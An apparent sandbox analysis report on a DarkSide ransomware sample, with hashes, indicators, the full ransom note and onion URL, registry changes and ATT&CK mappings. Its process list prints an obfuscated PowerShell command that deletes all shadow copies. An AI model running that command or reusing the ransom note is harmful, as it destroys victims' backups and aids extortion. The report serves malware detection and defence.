darkside | 4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

General

Target

PurchaseOrderPoster.bin.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.ae8bdb72.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 16 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompleteConvertFrom.raw => C:\Users\Admin\Pictures\CompleteConvertFrom.raw.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteConvertFrom.raw.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\ExportInstall.tif => C:\Users\Admin\Pictures\ExportInstall.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\ExportInstall.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\PopFind.raw => C:\Users\Admin\Pictures\PopFind.raw.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\PopFind.raw.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveUninstall.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\BackupConvertFrom.tif => C:\Users\Admin\Pictures\BackupConvertFrom.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\BackupConvertFrom.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\ExportHide.raw => C:\Users\Admin\Pictures\ExportHide.raw.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\ResolveUninstall.tif => C:\Users\Admin\Pictures\ResolveUninstall.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\UnpublishRequest.tif => C:\Users\Admin\Pictures\UnpublishRequest.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\UnpublishRequest.tif.ae8bdb72	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\AssertInvoke.png => C:\Users\Admin\Pictures\AssertInvoke.png.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\AssertInvoke.png.ae8bdb72	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\ExportHide.raw.ae8bdb72	PurchaseOrderPoster.bin.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\ae8bdb72.BMP"	PurchaseOrderPoster.bin.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\ae8bdb72.BMP"	PurchaseOrderPoster.bin.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\Desktop\WallpaperStyle = "10"	PurchaseOrderPoster.bin.exe

Modifies registry class 5 IoCs

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ae8bdb72\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\ae8bdb72.ico"	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ae8bdb72	PurchaseOrderPoster.bin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ae8bdb72\ = "ae8bdb72"	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ae8bdb72\DefaultIcon	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ae8bdb72	PurchaseOrderPoster.bin.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

4532 NOTEPAD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exePurchaseOrderPoster.bin.exe

pid process

3700 powershell.exe
3700 powershell.exe
3700 powershell.exe
2168 PurchaseOrderPoster.bin.exe
2168 PurchaseOrderPoster.bin.exe

pid	process
4532	NOTEPAD.EXE

pid	process
3700	powershell.exe
3700	powershell.exe
3700	powershell.exe
2168	PurchaseOrderPoster.bin.exe
2168	PurchaseOrderPoster.bin.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

PurchaseOrderPoster.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeSecurityPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeTakeOwnershipPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeLoadDriverPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeSystemProfilePrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeSystemtimePrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeProfSingleProcessPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeIncBasePriorityPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeCreatePagefilePrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeBackupPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeRestorePrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeShutdownPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeDebugPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeSystemEnvironmentPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeRemoteShutdownPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeUndockPrivilege	2168	PurchaseOrderPoster.bin.exe
Token: SeManageVolumePrivilege	2168	PurchaseOrderPoster.bin.exe
Token: 33	2168	PurchaseOrderPoster.bin.exe
Token: 34	2168	PurchaseOrderPoster.bin.exe
Token: 35	2168	PurchaseOrderPoster.bin.exe
Token: 36	2168	PurchaseOrderPoster.bin.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeBackupPrivilege	824	vssvc.exe
Token: SeRestorePrivilege	824	vssvc.exe
Token: SeAuditPrivilege	824	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

PurchaseOrderPoster.bin.exe

description	pid	process	target process
PID 2168 wrote to memory of 3700	2168	PurchaseOrderPoster.bin.exe	powershell.exe
PID 2168 wrote to memory of 3700	2168	PurchaseOrderPoster.bin.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe
"C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3700

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:824

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.ae8bdb72.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:4532

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
618a15a86c763cc6ac1a9efc9332ff6f

SHA1
574c8c0c8be023f4bf4fba1cc29f4bccc8253cb7

SHA256
4591d24d98cf7c51ef6da5330d2f017acfb5aa7d1ec9822231903daed53412dc

SHA512
42993e4c55e76aa4fef8be22788f8b93b67428e7851136cfdb1db2134358aaeb22e2f3cfb331460aee16e9c119ff0f12b387b603dfbd0d47e736fa741e848646

Download Submit
C:\Users\Admin\Desktop\README.ae8bdb72.TXT
MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/3700-115-0x0000000000000000-mapping.dmp

Download
memory/3700-121-0x0000029FCC760000-0x0000029FCC761000-memory.dmp

Filesize
4KB

Download
memory/3700-126-0x0000029FE6BA0000-0x0000029FE6BA1000-memory.dmp

Filesize
4KB

Download
memory/3700-131-0x0000029FCC6F0000-0x0000029FCC6F2000-memory.dmp

Filesize
8KB

Download
memory/3700-133-0x0000029FCC6F6000-0x0000029FCC6F8000-memory.dmp

Filesize
8KB

Download
memory/3700-132-0x0000029FCC6F3000-0x0000029FCC6F5000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads